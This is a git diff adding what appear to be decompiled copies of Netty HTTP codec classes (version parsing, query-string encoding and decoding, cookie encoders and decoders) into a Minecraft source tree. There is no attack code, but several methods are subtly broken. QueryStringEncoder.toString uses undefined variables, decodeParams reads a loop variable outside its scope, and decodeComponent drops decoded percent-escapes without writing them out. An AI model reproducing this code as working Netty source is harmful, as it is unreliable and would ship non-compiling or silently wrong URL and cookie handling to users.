+      throw new IllegalArgumentException("text is empty");
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+    HttpVersion version = version0(text);
+    if (version == null) {
+      text = text.toUpperCase();
+      
+      version = version0(text);
+      if (version == null)
+      {
+        version = new HttpVersion(text, true);
+      }
+    }
+    return version;
+  }
+  
+  private static HttpVersion version0(String text) {
+    if ("HTTP/1.1".equals(text)) {
+      return HTTP_1_1;
+    }
+    if ("HTTP/1.0".equals(text)) {
+      return HTTP_1_0;
+    }
+    return null;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public HttpVersion(String text, boolean keepAliveDefault)
+  {
+    if (text == null) {
+      throw new NullPointerException("text");
+    }
+    
+    text = text.trim().toUpperCase();
+    if (text.isEmpty()) {
+      throw new IllegalArgumentException("empty text");
+    }
+    
+    Matcher m = VERSION_PATTERN.matcher(text);
+    if (!m.matches()) {
+      throw new IllegalArgumentException("invalid version format: " + text);
+    }
+    
+    protocolName = m.group(1);
+    majorVersion = Integer.parseInt(m.group(2));
+    minorVersion = Integer.parseInt(m.group(3));
+    this.text = (protocolName + '/' + majorVersion + '.' + minorVersion);
+    this.keepAliveDefault = keepAliveDefault;
+    bytes = null;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public HttpVersion(String protocolName, int majorVersion, int minorVersion, boolean keepAliveDefault)
+  {
+    this(protocolName, majorVersion, minorVersion, keepAliveDefault, false);
+  }
+  
+
+  private HttpVersion(String protocolName, int majorVersion, int minorVersion, boolean keepAliveDefault, boolean bytes)
+  {
+    if (protocolName == null) {
+      throw new NullPointerException("protocolName");
+    }
+    
+    protocolName = protocolName.trim().toUpperCase();
+    if (protocolName.isEmpty()) {
+      throw new IllegalArgumentException("empty protocolName");
+    }
+    
+    for (int i = 0; i < protocolName.length(); i++) {
+      if ((Character.isISOControl(protocolName.charAt(i))) || (Character.isWhitespace(protocolName.charAt(i))))
+      {
+        throw new IllegalArgumentException("invalid character in protocolName");
+      }
+    }
+    
+    if (majorVersion < 0) {
+      throw new IllegalArgumentException("negative majorVersion");
+    }
+    if (minorVersion < 0) {
+      throw new IllegalArgumentException("negative minorVersion");
+    }
+    
+    this.protocolName = protocolName;
+    this.majorVersion = majorVersion;
+    this.minorVersion = minorVersion;
+    text = (protocolName + '/' + majorVersion + '.' + minorVersion);
+    this.keepAliveDefault = keepAliveDefault;
+    
+    if (bytes) {
+      this.bytes = text.getBytes(CharsetUtil.US_ASCII);
+    } else {
+      this.bytes = null;
+    }
+  }
+  
+
+
+  public String protocolName()
+  {
+    return protocolName;
+  }
+  
+
+
+  public int majorVersion()
+  {
+    return majorVersion;
+  }
+  
+
+
+  public int minorVersion()
+  {
+    return minorVersion;
+  }
+  
+
+
+  public String text()
+  {
+    return text;
+  }
+  
+
+
+
+  public boolean isKeepAliveDefault()
+  {
+    return keepAliveDefault;
+  }
+  
+
+
+
+  public String toString()
+  {
+    return text();
+  }
+  
+  public int hashCode()
+  {
+    return (protocolName().hashCode() * 31 + majorVersion()) * 31 + minorVersion();
+  }
+  
+
+  public boolean equals(Object o)
+  {
+    if (!(o instanceof HttpVersion)) {
+      return false;
+    }
+    
+    HttpVersion that = (HttpVersion)o;
+    return (minorVersion() == that.minorVersion()) && (majorVersion() == that.majorVersion()) && (protocolName().equals(that.protocolName()));
+  }
+  
+
+
+  public int compareTo(HttpVersion o)
+  {
+    int v = protocolName().compareTo(o.protocolName());
+    if (v != 0) {
+      return v;
+    }
+    
+    v = majorVersion() - o.majorVersion();
+    if (v != 0) {
+      return v;
+    }
+    
+    return minorVersion() - o.minorVersion();
+  }
+  
+  void encode(ByteBuf buf) {
+    if (bytes == null) {
+      HttpHeaders.encodeAscii0(text, buf);
+    } else {
+      buf.writeBytes(bytes);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/LastHttpContent.java b/src/minecraft/io/netty/handler/codec/http/LastHttpContent.java
new file mode 100644
index 0000000..13d9410
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/LastHttpContent.java
@@ -0,0 +1,100 @@
+package io.netty.handler.codec.http;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.Unpooled;
+import io.netty.handler.codec.DecoderResult;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract interface LastHttpContent
+  extends HttpContent
+{
+  public static final LastHttpContent EMPTY_LAST_CONTENT = new LastHttpContent()
+  {
+    public ByteBuf content()
+    {
+      return Unpooled.EMPTY_BUFFER;
+    }
+    
+    public LastHttpContent copy()
+    {
+      return EMPTY_LAST_CONTENT;
+    }
+    
+    public LastHttpContent duplicate()
+    {
+      return this;
+    }
+    
+    public HttpHeaders trailingHeaders()
+    {
+      return HttpHeaders.EMPTY_HEADERS;
+    }
+    
+    public DecoderResult getDecoderResult()
+    {
+      return DecoderResult.SUCCESS;
+    }
+    
+    public void setDecoderResult(DecoderResult result)
+    {
+      throw new UnsupportedOperationException("read only");
+    }
+    
+    public int refCnt()
+    {
+      return 1;
+    }
+    
+    public LastHttpContent retain()
+    {
+      return this;
+    }
+    
+    public LastHttpContent retain(int increment)
+    {
+      return this;
+    }
+    
+    public boolean release()
+    {
+      return false;
+    }
+    
+    public boolean release(int decrement)
+    {
+      return false;
+    }
+    
+    public String toString()
+    {
+      return "EmptyLastHttpContent";
+    }
+  };
+  
+  public abstract HttpHeaders trailingHeaders();
+  
+  public abstract LastHttpContent copy();
+  
+  public abstract LastHttpContent retain(int paramInt);
+  
+  public abstract LastHttpContent retain();
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/QueryStringDecoder.java b/src/minecraft/io/netty/handler/codec/http/QueryStringDecoder.java
new file mode 100644
index 0000000..dd72d5a
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/QueryStringDecoder.java
@@ -0,0 +1,377 @@
+package io.netty.handler.codec.http;
+
+import java.net.URI;
+import java.nio.charset.Charset;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.LinkedHashMap;
+import java.util.List;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class QueryStringDecoder
+{
+  private static final int DEFAULT_MAX_PARAMS = 1024;
+  private final Charset charset;
+  private final String uri;
+  private final boolean hasPath;
+  private final int maxParams;
+  private String path;
+  private Map<String, List<String>> params;
+  private int nParams;
+  
+  public QueryStringDecoder(String uri)
+  {
+    this(uri, HttpConstants.DEFAULT_CHARSET);
+  }
+  
+
+
+
+  public QueryStringDecoder(String uri, boolean hasPath)
+  {
+    this(uri, HttpConstants.DEFAULT_CHARSET, hasPath);
+  }
+  
+
+
+
+  public QueryStringDecoder(String uri, Charset charset)
+  {
+    this(uri, charset, true);
+  }
+  
+
+
+
+  public QueryStringDecoder(String uri, Charset charset, boolean hasPath)
+  {
+    this(uri, charset, hasPath, 1024);
+  }
+  
+
+
+
+  public QueryStringDecoder(String uri, Charset charset, boolean hasPath, int maxParams)
+  {
+    if (uri == null) {
+      throw new NullPointerException("getUri");
+    }
+    if (charset == null) {
+      throw new NullPointerException("charset");
+    }
+    if (maxParams <= 0) {
+      throw new IllegalArgumentException("maxParams: " + maxParams + " (expected: a positive integer)");
+    }
+    
+
+    this.uri = uri;
+    this.charset = charset;
+    this.maxParams = maxParams;
+    this.hasPath = hasPath;
+  }
+  
+
+
+
+  public QueryStringDecoder(URI uri)
+  {
+    this(uri, HttpConstants.DEFAULT_CHARSET);
+  }
+  
+
+
+
+  public QueryStringDecoder(URI uri, Charset charset)
+  {
+    this(uri, charset, 1024);
+  }
+  
+
+
+
+  public QueryStringDecoder(URI uri, Charset charset, int maxParams)
+  {
+    if (uri == null) {
+      throw new NullPointerException("getUri");
+    }
+    if (charset == null) {
+      throw new NullPointerException("charset");
+    }
+    if (maxParams <= 0) {
+      throw new IllegalArgumentException("maxParams: " + maxParams + " (expected: a positive integer)");
+    }
+    
+
+    String rawPath = uri.getRawPath();
+    if (rawPath != null) {
+      hasPath = true;
+    } else {
+      rawPath = "";
+      hasPath = false;
+    }
+    
+    this.uri = (rawPath + '?' + uri.getRawQuery());
+    
+    this.charset = charset;
+    this.maxParams = maxParams;
+  }
+  
+
+
+  public String path()
+  {
+    if (path == null) {
+      if (!hasPath) {
+        return this.path = "";
+      }
+      
+      int pathEndPos = uri.indexOf('?');
+      if (pathEndPos < 0) {
+        path = uri;
+      } else {
+        return this.path = uri.substring(0, pathEndPos);
+      }
+    }
+    return path;
+  }
+  
+
+
+  public Map<String, List<String>> parameters()
+  {
+    if (params == null) {
+      if (hasPath) {
+        int pathLength = path().length();
+        if (uri.length() == pathLength) {
+          return Collections.emptyMap();
+        }
+        decodeParams(uri.substring(pathLength + 1));
+      } else {
+        if (uri.isEmpty()) {
+          return Collections.emptyMap();
+        }
+        decodeParams(uri);
+      }
+    }
+    return params;
+  }
+  
+  private void decodeParams(String s) {
+    Map<String, List<String>> params = this.params = new LinkedHashMap();
+    nParams = 0;
+    String name = null;
+    int pos = 0;
+    
+
+    for (int i = 0; i < s.length(); i++) {
+      char c = s.charAt(i);
+      if ((c == '=') && (name == null)) {
+        if (pos != i) {
+          name = decodeComponent(s.substring(pos, i), charset);
+        }
+        pos = i + 1;
+      }
+      else if ((c == '&') || (c == ';')) {
+        if ((name == null) && (pos != i))
+        {
+
+
+          if (addParam(params, decodeComponent(s.substring(pos, i), charset), "")) {}
+
+        }
+        else if (name != null) {
+          if (!addParam(params, name, decodeComponent(s.substring(pos, i), charset))) {
+            return;
+          }
+          name = null;
+        }
+        pos = i + 1;
+      }
+    }
+    
+    if (pos != i) {
+      if (name == null) {
+        addParam(params, decodeComponent(s.substring(pos, i), charset), "");
+      } else {
+        addParam(params, name, decodeComponent(s.substring(pos, i), charset));
+      }
+    } else if (name != null) {
+      addParam(params, name, "");
+    }
+  }
+  
+  private boolean addParam(Map<String, List<String>> params, String name, String value) {
+    if (nParams >= maxParams) {
+      return false;
+    }
+    
+    List<String> values = (List)params.get(name);
+    if (values == null) {
+      values = new ArrayList(1);
+      params.put(name, values);
+    }
+    values.add(value);
+    nParams += 1;
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static String decodeComponent(String s)
+  {
+    return decodeComponent(s, HttpConstants.DEFAULT_CHARSET);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static String decodeComponent(String s, Charset charset)
+  {
+    if (s == null) {
+      return "";
+    }
+    int size = s.length();
+    boolean modified = false;
+    for (int i = 0; i < size; i++) {
+      char c = s.charAt(i);
+      if ((c == '%') || (c == '+')) {
+        modified = true;
+        break;
+      }
+    }
+    if (!modified) {
+      return s;
+    }
+    byte[] buf = new byte[size];
+    int pos = 0;
+    for (int i = 0; i < size; i++) {
+      char c = s.charAt(i);
+      switch (c) {
+      case '+': 
+        buf[(pos++)] = 32;
+        break;
+      case '%': 
+        if (i == size - 1) {
+          throw new IllegalArgumentException("unterminated escape sequence at end of string: " + s);
+        }
+        
+        c = s.charAt(++i);
+        if (c == '%') {
+          buf[(pos++)] = 37;
+        }
+        else {
+          if (i == size - 1) {
+            throw new IllegalArgumentException("partial escape sequence at end of string: " + s);
+          }
+          
+          c = decodeHexNibble(c);
+          char c2 = decodeHexNibble(s.charAt(++i));
+          if ((c == 65535) || (c2 == 65535)) {
+            throw new IllegalArgumentException("invalid escape sequence `%" + s.charAt(i - 1) + s.charAt(i) + "' at index " + (i - 2) + " of: " + s);
+          }
+          
+
+
+          c = (char)(c * '\020' + c2);
+        }
+        break;
+      default:  buf[(pos++)] = ((byte)c);
+      }
+      
+    }
+    return new String(buf, 0, pos, charset);
+  }
+  
+
+
+
+
+
+
+  private static char decodeHexNibble(char c)
+  {
+    if (('0' <= c) && (c <= '9'))
+      return (char)(c - '0');
+    if (('a' <= c) && (c <= 'f'))
+      return (char)(c - 'a' + 10);
+    if (('A' <= c) && (c <= 'F')) {
+      return (char)(c - 'A' + 10);
+    }
+    return 65535;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/QueryStringEncoder.java b/src/minecraft/io/netty/handler/codec/http/QueryStringEncoder.java
new file mode 100644
index 0000000..13cf006
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/QueryStringEncoder.java
@@ -0,0 +1,132 @@
+package io.netty.handler.codec.http;
+
+import java.io.UnsupportedEncodingException;
+import java.net.URI;
+import java.net.URISyntaxException;
+import java.net.URLEncoder;
+import java.nio.charset.Charset;
+import java.nio.charset.UnsupportedCharsetException;
+import java.util.ArrayList;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class QueryStringEncoder
+{
+  private final Charset charset;
+  private final String uri;
+  private final List<Param> params = new ArrayList();
+  
+
+
+
+  public QueryStringEncoder(String uri)
+  {
+    this(uri, HttpConstants.DEFAULT_CHARSET);
+  }
+  
+
+
+
+  public QueryStringEncoder(String uri, Charset charset)
+  {
+    if (uri == null) {
+      throw new NullPointerException("getUri");
+    }
+    if (charset == null) {
+      throw new NullPointerException("charset");
+    }
+    
+    this.uri = uri;
+    this.charset = charset;
+  }
+  
+
+
+  public void addParam(String name, String value)
+  {
+    if (name == null) {
+      throw new NullPointerException("name");
+    }
+    params.add(new Param(name, value));
+  }
+  
+
+
+
+  public URI toUri()
+    throws URISyntaxException
+  {
+    return new URI(toString());
+  }
+  
+
+
+
+
+
+  public String toString()
+  {
+    if (params.isEmpty()) {
+      return uri;
+    }
+    StringBuilder sb = new StringBuilder(uri).append('?');
+    for (int i = 0; i < params.size(); i++) {
+      Param param = (Param)params.get(i);
+      sb.append(encodeComponent(name, charset));
+      if (value != null) {
+        sb.append('=');
+        sb.append(encodeComponent(value, charset));
+      }
+      if (i != params.size() - 1) {
+        sb.append('&');
+      }
+    }
+    return sb.toString();
+  }
+  
+  private static String encodeComponent(String s, Charset charset)
+  {
+    try
+    {
+      return URLEncoder.encode(s, charset.name()).replace("+", "%20");
+    } catch (UnsupportedEncodingException ignored) {
+      throw new UnsupportedCharsetException(charset.name());
+    }
+  }
+  
+  private static final class Param
+  {
+    final String name;
+    final String value;
+    
+    Param(String name, String value) {
+      this.value = value;
+      this.name = name;
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/ServerCookieEncoder.java b/src/minecraft/io/netty/handler/codec/http/ServerCookieEncoder.java
new file mode 100644
index 0000000..6d69993
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/ServerCookieEncoder.java
@@ -0,0 +1,169 @@
+package io.netty.handler.codec.http;
+
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Date;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class ServerCookieEncoder
+{
+  public static String encode(String name, String value)
+  {
+    return encode(new DefaultCookie(name, value));
+  }
+  
+  public static String encode(Cookie cookie) {
+    if (cookie == null) {
+      throw new NullPointerException("cookie");
+    }
+    
+    StringBuilder buf = CookieEncoderUtil.stringBuilder();
+    
+    CookieEncoderUtil.add(buf, cookie.getName(), cookie.getValue());
+    
+    if (cookie.getMaxAge() != Long.MIN_VALUE) {
+      if (cookie.getVersion() == 0) {
+        CookieEncoderUtil.addUnquoted(buf, "Expires", HttpHeaderDateFormat.get().format(new Date(System.currentTimeMillis() + cookie.getMaxAge() * 1000L)));
+
+      }
+      else
+      {
+        CookieEncoderUtil.add(buf, "Max-Age", cookie.getMaxAge());
+      }
+    }
+    
+    if (cookie.getPath() != null) {
+      if (cookie.getVersion() > 0) {
+        CookieEncoderUtil.add(buf, "Path", cookie.getPath());
+      } else {
+        CookieEncoderUtil.addUnquoted(buf, "Path", cookie.getPath());
+      }
+    }
+    
+    if (cookie.getDomain() != null) {
+      if (cookie.getVersion() > 0) {
+        CookieEncoderUtil.add(buf, "Domain", cookie.getDomain());
+      } else {
+        CookieEncoderUtil.addUnquoted(buf, "Domain", cookie.getDomain());
+      }
+    }
+    if (cookie.isSecure()) {
+      buf.append("Secure");
+      buf.append(';');
+      buf.append(' ');
+    }
+    if (cookie.isHttpOnly()) {
+      buf.append("HTTPOnly");
+      buf.append(';');
+      buf.append(' ');
+    }
+    if (cookie.getVersion() >= 1) {
+      if (cookie.getComment() != null) {
+        CookieEncoderUtil.add(buf, "Comment", cookie.getComment());
+      }
+      
+      CookieEncoderUtil.add(buf, "Version", 1L);
+      
+      if (cookie.getCommentUrl() != null) {
+        CookieEncoderUtil.addQuoted(buf, "CommentURL", cookie.getCommentUrl());
+      }
+      
+      if (!cookie.getPorts().isEmpty()) {
+        buf.append("Port");
+        buf.append('=');
+        buf.append('"');
+        for (Iterator i$ = cookie.getPorts().iterator(); i$.hasNext();) { int port = ((Integer)i$.next()).intValue();
+          buf.append(port);
+          buf.append(',');
+        }
+        buf.setCharAt(buf.length() - 1, '"');
+        buf.append(';');
+        buf.append(' ');
+      }
+      if (cookie.isDiscard()) {
+        buf.append("Discard");
+        buf.append(';');
+        buf.append(' ');
+      }
+    }
+    
+    return CookieEncoderUtil.stripTrailingSeparator(buf);
+  }
+  
+  public static List<String> encode(Cookie... cookies) {
+    if (cookies == null) {
+      throw new NullPointerException("cookies");
+    }
+    
+    List<String> encoded = new ArrayList(cookies.length);
+    for (Cookie c : cookies) {
+      if (c == null) {
+        break;
+      }
+      encoded.add(encode(c));
+    }
+    return encoded;
+  }
+  
+  public static List<String> encode(Collection<Cookie> cookies) {
+    if (cookies == null) {
+      throw new NullPointerException("cookies");
+    }
+    
+    List<String> encoded = new ArrayList(cookies.size());
+    for (Cookie c : cookies) {
+      if (c == null) {
+        break;
+      }
+      encoded.add(encode(c));
+    }
+    return encoded;
+  }
+  
+  public static List<String> encode(Iterable<Cookie> cookies) {
+    if (cookies == null) {
+      throw new NullPointerException("cookies");
+    }
+    
+    List<String> encoded = new ArrayList();
+    for (Cookie c : cookies) {
+      if (c == null) {
+        break;
+      }
+      encoded.add(encode(c));
+    }
+    return encoded;
+  }
+  
+  private ServerCookieEncoder() {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/cookie/ClientCookieDecoder.java b/src/minecraft/io/netty/handler/codec/http/cookie/ClientCookieDecoder.java
new file mode 100644
index 0000000..39034b7
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/cookie/ClientCookieDecoder.java
@@ -0,0 +1,261 @@
+package io.netty.handler.codec.http.cookie;
+
+import io.netty.handler.codec.http.HttpHeaderDateFormat;
+import io.netty.util.internal.ObjectUtil;
+import java.text.ParsePosition;
+import java.util.Date;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class ClientCookieDecoder
+  extends CookieDecoder
+{
+  public static final ClientCookieDecoder STRICT = new ClientCookieDecoder(true);
+  
+
+
+
+  public static final ClientCookieDecoder LAX = new ClientCookieDecoder(false);
+  
+  private ClientCookieDecoder(boolean strict) {
+    super(strict);
+  }
+  
+
+
+
+
+  public Cookie decode(String header)
+  {
+    int headerLen = ((String)ObjectUtil.checkNotNull(header, "header")).length();
+    
+    if (headerLen == 0) {
+      return null;
+    }
+    
+    CookieBuilder cookieBuilder = null;
+    
+    int i = 0;
+    
+
+
+    while (i != headerLen)
+    {
+
+      char c = header.charAt(i);
+      if (c == ',') {
+        break;
+      }
+      
+
+      if ((c == '\t') || (c == '\n') || (c == '\013') || (c == '\f') || (c == '\r') || (c == ' ') || (c == ';'))
+      {
+        i++;
+
+      }
+      else
+      {
+
+        int nameBegin = i;
+        int nameEnd = i;
+        int valueBegin = -1;
+        int valueEnd = -1;
+        
+        if (i != headerLen) {
+          for (;;)
+          {
+            char curChar = header.charAt(i);
+            if (curChar == ';')
+            {
+              nameEnd = i;
+              valueBegin = valueEnd = -1;
+              break;
+            }
+            if (curChar == '=')
+            {
+              nameEnd = i;
+              i++;
+              if (i == headerLen)
+              {
+                valueBegin = valueEnd = 0;
+                break;
+              }
+              
+              valueBegin = i;
+              
+              int semiPos = header.indexOf(';', i);
+              valueEnd = i = semiPos > 0 ? semiPos : headerLen;
+              break;
+            }
+            i++;
+            
+
+            if (i == headerLen)
+            {
+              nameEnd = headerLen;
+              valueBegin = valueEnd = -1;
+              break;
+            }
+          }
+        }
+        
+        if ((valueEnd > 0) && (header.charAt(valueEnd - 1) == ','))
+        {
+          valueEnd--;
+        }
+        
+        if (cookieBuilder == null)
+        {
+          DefaultCookie cookie = initCookie(header, nameBegin, nameEnd, valueBegin, valueEnd);
+          
+          if (cookie == null) {
+            return null;
+          }
+          
+          cookieBuilder = new CookieBuilder(cookie, header);
+        }
+        else {
+          cookieBuilder.appendAttribute(nameBegin, nameEnd, valueBegin, valueEnd);
+        }
+      } }
+    return cookieBuilder.cookie();
+  }
+  
+  private static class CookieBuilder
+  {
+    private final String header;
+    private final DefaultCookie cookie;
+    private String domain;
+    private String path;
+    private long maxAge = Long.MIN_VALUE;
+    private int expiresStart;
+    private int expiresEnd;
+    private boolean secure;
+    private boolean httpOnly;
+    
+    public CookieBuilder(DefaultCookie cookie, String header) {
+      this.cookie = cookie;
+      this.header = header;
+    }
+    
+    private long mergeMaxAgeAndExpires()
+    {
+      if (maxAge != Long.MIN_VALUE) {
+        return maxAge;
+      }
+      String expires = computeValue(expiresStart, expiresEnd);
+      if (expires != null) {
+        Date expiresDate = HttpHeaderDateFormat.get().parse(expires, new ParsePosition(0));
+        if (expiresDate != null) {
+          long maxAgeMillis = expiresDate.getTime() - System.currentTimeMillis();
+          return maxAgeMillis / 1000L + (maxAgeMillis % 1000L != 0L ? 1 : 0);
+        }
+      }
+      
+      return Long.MIN_VALUE;
+    }
+    
+    public Cookie cookie() {
+      cookie.setDomain(domain);
+      cookie.setPath(path);
+      cookie.setMaxAge(mergeMaxAgeAndExpires());
+      cookie.setSecure(secure);
+      cookie.setHttpOnly(httpOnly);
+      return cookie;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    public void appendAttribute(int keyStart, int keyEnd, int valueStart, int valueEnd)
+    {
+      int length = keyEnd - keyStart;
+      
+      if (length == 4) {
+        parse4(keyStart, valueStart, valueEnd);
+      } else if (length == 6) {
+        parse6(keyStart, valueStart, valueEnd);
+      } else if (length == 7) {
+        parse7(keyStart, valueStart, valueEnd);
+      } else if (length == 8) {
+        parse8(keyStart, valueStart, valueEnd);
+      }
+    }
+    
+    private void parse4(int nameStart, int valueStart, int valueEnd) {
+      if (header.regionMatches(true, nameStart, "Path", 0, 4)) {
+        path = computeValue(valueStart, valueEnd);
+      }
+    }
+    
+    private void parse6(int nameStart, int valueStart, int valueEnd) {
+      if (header.regionMatches(true, nameStart, "Domain", 0, 5)) {
+        domain = computeValue(valueStart, valueEnd);
+      } else if (header.regionMatches(true, nameStart, "Secure", 0, 5)) {
+        secure = true;
+      }
+    }
+    
+    private void setMaxAge(String value) {
+      try {
+        maxAge = Math.max(Long.parseLong(value), 0L);
+      }
+      catch (NumberFormatException localNumberFormatException) {}
+    }
+    
+    private void parse7(int nameStart, int valueStart, int valueEnd)
+    {
+      if (header.regionMatches(true, nameStart, "Expires", 0, 7)) {
+        expiresStart = valueStart;
+        expiresEnd = valueEnd;
+      } else if (header.regionMatches(true, nameStart, "Max-Age", 0, 7)) {
+        setMaxAge(computeValue(valueStart, valueEnd));
+      }
+    }
+    
+    private void parse8(int nameStart, int valueStart, int valueEnd) {
+      if (header.regionMatches(true, nameStart, "HTTPOnly", 0, 8)) {
+        httpOnly = true;
+      }
+    }
+    
+    private String computeValue(int valueStart, int valueEnd) {
+      return (valueStart == -1) || (valueStart == valueEnd) ? null : header.substring(valueStart, valueEnd);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/cookie/ClientCookieEncoder.java b/src/minecraft/io/netty/handler/codec/http/cookie/ClientCookieEncoder.java
new file mode 100644
index 0000000..d98ffed
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/cookie/ClientCookieEncoder.java
@@ -0,0 +1,230 @@
+package io.netty.handler.codec.http.cookie;
+
+import io.netty.util.internal.InternalThreadLocalMap;
+import io.netty.util.internal.ObjectUtil;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.Comparator;
+import java.util.Iterator;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class ClientCookieEncoder
+  extends CookieEncoder
+{
+  public static final ClientCookieEncoder STRICT = new ClientCookieEncoder(true);
+  
+
+
+
+
+  public static final ClientCookieEncoder LAX = new ClientCookieEncoder(false);
+  
+  private ClientCookieEncoder(boolean strict) {
+    super(strict);
+  }
+  
+
+
+
+
+
+
+
+
+  public String encode(String name, String value)
+  {
+    return encode(new DefaultCookie(name, value));
+  }
+  
+
+
+
+
+
+  public String encode(Cookie cookie)
+  {
+    StringBuilder buf = CookieUtil.stringBuilder();
+    encode(buf, (Cookie)ObjectUtil.checkNotNull(cookie, "cookie"));
+    return CookieUtil.stripTrailingSeparator(buf);
+  }
+  
+
+
+
+
+  private static final Comparator<Cookie> COOKIE_COMPARATOR = new Comparator()
+  {
+    public int compare(Cookie c1, Cookie c2) {
+      String path1 = c1.path();
+      String path2 = c2.path();
+      
+
+
+
+
+      int len1 = path1 == null ? Integer.MAX_VALUE : path1.length();
+      int len2 = path2 == null ? Integer.MAX_VALUE : path2.length();
+      int diff = len2 - len1;
+      if (diff != 0) {
+        return diff;
+      }
+      
+
+      return -1;
+    }
+  };
+  
+
+
+
+
+
+
+  public String encode(Cookie... cookies)
+  {
+    if (((Cookie[])ObjectUtil.checkNotNull(cookies, "cookies")).length == 0) {
+      return null;
+    }
+    
+    StringBuilder buf = CookieUtil.stringBuilder();
+    if (strict) {
+      if (cookies.length == 1) {
+        encode(buf, cookies[0]);
+      } else {
+        Cookie[] cookiesSorted = (Cookie[])Arrays.copyOf(cookies, cookies.length);
+        Arrays.sort(cookiesSorted, COOKIE_COMPARATOR);
+        for (Cookie c : cookiesSorted) {
+          encode(buf, c);
+        }
+      }
+    } else {
+      for (Cookie c : cookies) {
+        encode(buf, c);
+      }
+    }
+    return CookieUtil.stripTrailingSeparatorOrNull(buf);
+  }
+  
+
+
+
+
+
+
+  public String encode(Collection<? extends Cookie> cookies)
+  {
+    if (((Collection)ObjectUtil.checkNotNull(cookies, "cookies")).isEmpty()) {
+      return null;
+    }
+    
+    StringBuilder buf = CookieUtil.stringBuilder();
+    if (strict) {
+      if (cookies.size() == 1) {
+        encode(buf, (Cookie)cookies.iterator().next());
+      } else {
+        Cookie[] cookiesSorted = (Cookie[])cookies.toArray(new Cookie[cookies.size()]);
+        Arrays.sort(cookiesSorted, COOKIE_COMPARATOR);
+        for (Cookie c : cookiesSorted) {
+          encode(buf, c);
+        }
+      }
+    } else {
+      for (Cookie c : cookies) {
+        encode(buf, c);
+      }
+    }
+    return CookieUtil.stripTrailingSeparatorOrNull(buf);
+  }
+  
+
+
+
+
+
+  public String encode(Iterable<? extends Cookie> cookies)
+  {
+    Iterator<? extends Cookie> cookiesIt = ((Iterable)ObjectUtil.checkNotNull(cookies, "cookies")).iterator();
+    if (!cookiesIt.hasNext()) {
+      return null;
+    }
+    
+    StringBuilder buf = CookieUtil.stringBuilder();
+    if (strict) {
+      Cookie firstCookie = (Cookie)cookiesIt.next();
+      if (!cookiesIt.hasNext()) {
+        encode(buf, firstCookie);
+      } else {
+        List<Cookie> cookiesList = InternalThreadLocalMap.get().arrayList();
+        cookiesList.add(firstCookie);
+        while (cookiesIt.hasNext()) {
+          cookiesList.add(cookiesIt.next());
+        }
+        Cookie[] cookiesSorted = (Cookie[])cookiesList.toArray(new Cookie[cookiesList.size()]);
+        Arrays.sort(cookiesSorted, COOKIE_COMPARATOR);
+        for (Cookie c : cookiesSorted) {
+          encode(buf, c);
+        }
+      }
+    } else {
+      while (cookiesIt.hasNext()) {
+        encode(buf, (Cookie)cookiesIt.next());
+      }
+    }
+    return CookieUtil.stripTrailingSeparatorOrNull(buf);
+  }
+  
+  private void encode(StringBuilder buf, Cookie c) {
+    String name = c.name();
+    String value = c.value() != null ? c.value() : "";
+    
+    validateCookie(name, value);
+    
+    if (c.wrap()) {
+      CookieUtil.addQuoted(buf, name, value);
+    } else {
+      CookieUtil.add(buf, name, value);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/cookie/Cookie.java b/src/minecraft/io/netty/handler/codec/http/cookie/Cookie.java
new file mode 100644
index 0000000..f3f7e20
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/cookie/Cookie.java
@@ -0,0 +1,35 @@
+package io.netty.handler.codec.http.cookie;
+
+public abstract interface Cookie
+  extends Comparable<Cookie>
+{
+  public abstract String name();
+  
+  public abstract String value();
+  
+  public abstract void setValue(String paramString);
+  
+  public abstract boolean wrap();
+  
+  public abstract void setWrap(boolean paramBoolean);
+  
+  public abstract String domain();
+  
+  public abstract void setDomain(String paramString);
+  
+  public abstract String path();
+  
+  public abstract void setPath(String paramString);
+  
+  public abstract long maxAge();
+  
+  public abstract void setMaxAge(long paramLong);
+  
+  public abstract boolean isSecure();
+  
+  public abstract void setSecure(boolean paramBoolean);
+  
+  public abstract boolean isHttpOnly();
+  
+  public abstract void setHttpOnly(boolean paramBoolean);
+}
